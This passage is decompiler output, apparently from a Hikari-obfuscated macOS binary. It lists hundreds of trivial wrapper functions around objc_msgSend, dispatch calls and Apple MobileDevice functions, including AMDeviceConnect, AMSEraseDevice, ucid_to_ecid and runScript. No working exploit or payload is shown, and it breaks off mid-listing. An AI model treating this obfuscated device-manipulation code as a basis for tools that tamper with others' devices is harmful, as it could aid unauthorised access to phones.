//----- (000000010021D830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17228(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17229(void *a1, const char *a2)
{
return HikariFunctionWrapper_17228(a1, a2);
}
//----- (000000010021D850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17230(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17231(void *a1, const char *a2)
{
return HikariFunctionWrapper_17230(a1, a2);
}
//----- (000000010021D870) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17232(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D880) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17233(void *a1, const char *a2)
{
HikariFunctionWrapper_17232(a1, a2);
}
//----- (000000010021D890) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17234(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D8A0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17235(__int64 a1)
{
return HikariFunctionWrapper_17234(a1);
}
//----- (000000010021D8B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17236(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D8C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17237(void *a1, const char *a2)
{
return HikariFunctionWrapper_17236(a1, a2);
}
//----- (000000010021D8D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17238(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D8E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17239(void *a1, const char *a2)
{
return HikariFunctionWrapper_17238(a1, a2);
}
//----- (000000010021D8F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17240(void *a1)
{
return ucid_to_ecid(a1);
}
//----- (000000010021D900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17241(void *a1)
{
return HikariFunctionWrapper_17240(a1);
}
//----- (000000010021D910) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17242(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D920) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17243(void *a1, const char *a2)
{
HikariFunctionWrapper_17242(a1, a2);
}
//----- (000000010021D930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17244(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17245(void *a1, const char *a2)
{
return HikariFunctionWrapper_17244(a1, a2);
}
//----- (000000010021D950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17246(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17247(void *a1, const char *a2)
{
HikariFunctionWrapper_17246(a1, a2);
}
//----- (000000010021D970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17248(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17249(void *a1, const char *a2)
{
return HikariFunctionWrapper_17248(a1, a2);
}
//----- (000000010021D990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17250(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D9A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17251(void *a1, const char *a2)
{
HikariFunctionWrapper_17250(a1, a2);
}
//----- (000000010021D9B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17252(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D9C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17253(void *a1, const char *a2)
{
HikariFunctionWrapper_17252(a1, a2);
}
//----- (000000010021D9D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17254(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D9E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17255(void *a1, const char *a2)
{
return HikariFunctionWrapper_17254(a1, a2);
}
//----- (000000010021D9F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17256(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DA00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17257(void *a1, const char *a2)
{
return HikariFunctionWrapper_17256(a1, a2);
}
//----- (000000010021DA10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17258(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DA20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17259(void *a1, const char *a2)
{
HikariFunctionWrapper_17258(a1, a2);
}
//----- (000000010021DA30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17260(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DA40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17261(void *a1, const char *a2)
{
return HikariFunctionWrapper_17260(a1, a2);
}
//----- (000000010021DA50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17262(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DA60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17263(void *a1, const char *a2)
{
return HikariFunctionWrapper_17262(a1, a2);
}
//----- (000000010021DA70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17264(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DA80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17265(void *a1, const char *a2)
{
return HikariFunctionWrapper_17264(a1, a2);
}
//----- (000000010021DA90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17266(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DAA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17267(void *a1, const char *a2)
{
return HikariFunctionWrapper_17266(a1, a2);
}
//----- (000000010021DAB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17268(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DAC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17269(void *a1, const char *a2)
{
return HikariFunctionWrapper_17268(a1, a2);
}
//----- (000000010021DAD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17270(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DAE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17271(void *a1, const char *a2)
{
return HikariFunctionWrapper_17270(a1, a2);
}
//----- (000000010021DAF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17272(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DB00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17273(void *a1, const char *a2)
{
return HikariFunctionWrapper_17272(a1, a2);
}
//----- (000000010021DB10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17274(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DB40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17275(void *a1, const char *a2)
{
return HikariFunctionWrapper_17274(a1, a2);
}
//----- (000000010021DB70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17276(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DB80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17277(void *a1, const char *a2)
{
return HikariFunctionWrapper_17276(a1, a2);
}
//----- (000000010021DB90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17278(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DBA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17279(void *a1, const char *a2)
{
return HikariFunctionWrapper_17278(a1, a2);
}
//----- (000000010021DBB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17280(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DBC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17281(void *a1, const char *a2)
{
return HikariFunctionWrapper_17280(a1, a2);
}
//----- (000000010021DBD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17282(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DBE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17283(void *a1, const char *a2)
{
return HikariFunctionWrapper_17282(a1, a2);
}
//----- (000000010021DBF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17284(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DC00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17285(void *a1, const char *a2)
{
HikariFunctionWrapper_17284(a1, a2);
}
//----- (000000010021DC10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17286(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DC20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17287(void *a1, const char *a2)
{
return HikariFunctionWrapper_17286(a1, a2);
}
//----- (000000010021DC30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17288(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DC40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17289(void *a1, const char *a2)
{
return HikariFunctionWrapper_17288(a1, a2);
}
//----- (000000010021DC50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17290(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DC60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17291(void *a1, const char *a2)
{
HikariFunctionWrapper_17290(a1, a2);
}
//----- (000000010021DC70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17292(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DC80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17293(void *a1, const char *a2)
{
return HikariFunctionWrapper_17292(a1, a2);
}
//----- (000000010021DC90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17294(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DCA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17295(void *a1, const char *a2)
{
HikariFunctionWrapper_17294(a1, a2);
}
//----- (000000010021DCB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17296(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DCC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17297(void *a1, const char *a2)
{
HikariFunctionWrapper_17296(a1, a2);
}
//----- (000000010021DCD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17298(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DCE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17299(void *a1, const char *a2)
{
HikariFunctionWrapper_17298(a1, a2);
}
//----- (000000010021DCF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17300(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DD00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17301(void *a1, const char *a2)
{
return HikariFunctionWrapper_17300(a1, a2);
}
//----- (000000010021DD10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17302(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021DD20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17303(NSString *a1)
{
HikariFunctionWrapper_17302(a1);
}
//----- (000000010021DD30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17304(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021DD40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17305(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17304(a1, a2);
}
//----- (000000010021DD50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17306(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DD60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17307(void *a1, const char *a2)
{
HikariFunctionWrapper_17306(a1, a2);
}
//----- (000000010021DD70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17308(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (000000010021DD80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17309(__int64 a1)
{
return HikariFunctionWrapper_17308(a1);
}
//----- (000000010021DD90) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17310(__int64 a1)
{
return AMDeviceConnect(a1);
}
// 100256156: using guessed type __int64 __fastcall AMDeviceConnect(_QWORD);
//----- (000000010021DDA0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17311(__int64 a1)
{
return HikariFunctionWrapper_17310(a1);
}
//----- (000000010021DDB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17312(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021DDC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17313(__int64 a1)
{
return HikariFunctionWrapper_17312(a1);
}
//----- (000000010021DDD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17314(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DDE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17315(void *a1, const char *a2)
{
return HikariFunctionWrapper_17314(a1, a2);
}
//----- (000000010021DDF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17316(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DE00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17317(void *a1, const char *a2)
{
return HikariFunctionWrapper_17316(a1, a2);
}
//----- (000000010021DE10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17318(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021DE20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17319(void *a1, const char *a2)
{
HikariFunctionWrapper_17318(a1, a2);
}
//----- (000000010021DE30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17320(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DE40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17321(void *a1, const char *a2)
{
return HikariFunctionWrapper_17320(a1, a2);
}
//----- (000000010021DE50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17322(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021DE60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17323(NSString *a1)
{
HikariFunctionWrapper_17322(a1);
}
//----- (000000010021DE70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17324(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DE80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17325(void *a1, const char *a2)
{
return HikariFunctionWrapper_17324(a1, a2);
}
//----- (000000010021DE90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17326(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021DEA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17327(NSString *a1)
{
HikariFunctionWrapper_17326(a1);
}
//----- (000000010021DEB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17328(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DEC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17329(void *a1, const char *a2)
{
return HikariFunctionWrapper_17328(a1, a2);
}
//----- (000000010021DED0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17330(__int64 a1)
{
return AMSEraseDevice(a1);
}
// 1002561AA: using guessed type __int64 __fastcall AMSEraseDevice(_QWORD);
//----- (000000010021DEE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17331(__int64 a1)
{
return HikariFunctionWrapper_17330(a1);
}
//----- (000000010021DEF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17332(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DF00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17333(void *a1, const char *a2)
{
return HikariFunctionWrapper_17332(a1, a2);
}
//----- (000000010021DF10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17334(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DF20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17335(void *a1, const char *a2)
{
return HikariFunctionWrapper_17334(a1, a2);
}
//----- (000000010021DF30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17336(__int64 a1)
{
return AMSEraseDevice(a1);
}
// 1002561AA: using guessed type __int64 __fastcall AMSEraseDevice(_QWORD);
//----- (000000010021DF40) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17337(__int64 a1)
{
return HikariFunctionWrapper_17336(a1);
}
//----- (000000010021DF50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17338(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021DF60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17339(NSString *a1)
{
HikariFunctionWrapper_17338(a1);
}
//----- (000000010021DF70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17340(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021DF80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17341(void *a1, const char *a2)
{
return HikariFunctionWrapper_17340(a1, a2);
}
//----- (000000010021DF90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17342(void *a1)
{
runScript(a1);
}
//----- (000000010021DFA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17343(void *a1)
{
HikariFunctionWrapper_17342(a1);
}
//----- (000000010021DFB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17344(void *a1)
{
runScript(a1);
}
//----- (000000010021DFC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17345(void *a1)
{
HikariFunctionWrapper_17344(a1);
}
//----- (000000010021DFD0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17346(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021DFE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17347(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17346(a1, a2);
}
//----- (000000010021DFF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17348(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17349(void *a1, const char *a2)
{
HikariFunctionWrapper_17348(a1, a2);
}
//----- (000000010021E010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17350(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021E020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17351(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17350(a1, a2);
}
//----- (000000010021E030) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17352(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021E040) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17353(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17352(a1, a2);
}
//----- (000000010021E050) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17354(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E060) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17355(void *a1, const char *a2)
{
HikariFunctionWrapper_17354(a1, a2);
}
//----- (000000010021E070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17356(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021E080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17357(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17356(a1, a2);
}
//----- (000000010021E090) ----------------------------------------------------
dispatch_queue_global_t __fastcall HikariFunctionWrapper_17358(intptr_t a1, uintptr_t a2)
{
return dispatch_get_global_queue(a1, a2);
}
//----- (000000010021E0A0) ----------------------------------------------------
dispatch_queue_global_t __fastcall HikariFunctionWrapper_17359(intptr_t a1, uintptr_t a2)
{
return HikariFunctionWrapper_17358(a1, a2);
}
//----- (000000010021E0B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17360(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E0C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17361(void *a1, const char *a2)
{
HikariFunctionWrapper_17360(a1, a2);
}
//----- (000000010021E0D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17362(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E0E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17363(void *a1, const char *a2)
{
HikariFunctionWrapper_17362(a1, a2);
}
//----- (000000010021E0F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17364(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E100) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17365(void *a1, const char *a2)
{
HikariFunctionWrapper_17364(a1, a2);
}
//----- (000000010021E110) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17366(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E120) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17367(void *a1, const char *a2)
{
HikariFunctionWrapper_17366(a1, a2);
}
//----- (000000010021E130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17368(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17369(void *a1, const char *a2)
{
return HikariFunctionWrapper_17368(a1, a2);
}
//----- (000000010021E150) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17370(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021E160) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17371(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17370(a1, a2);
}
//----- (000000010021E170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17372(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021E180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17373(void *a1, const char *a2)
{
return HikariFunctionWrapper_17372(a1, a2);
}
//----- (000000010021E190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17374(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E1A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17375(void *a1, const char *a2)
{
HikariFunctionWrapper_17374(a1, a2);
}
//----- (000000010021E1B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17376(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E1C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17377(void *a1, const char *a2)
{
HikariFunctionWrapper_17376(a1, a2);
}
//----- (000000010021E1D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17378(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E1E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17379(void *a1, const char *a2)
{
HikariFunctionWrapper_17378(a1, a2);
}
//----- (000000010021E1F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17380(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17381(void *a1, const char *a2)
{
HikariFunctionWrapper_17380(a1, a2);
}
//----- (000000010021E210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17382(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021E220) ----------------------------------------------------
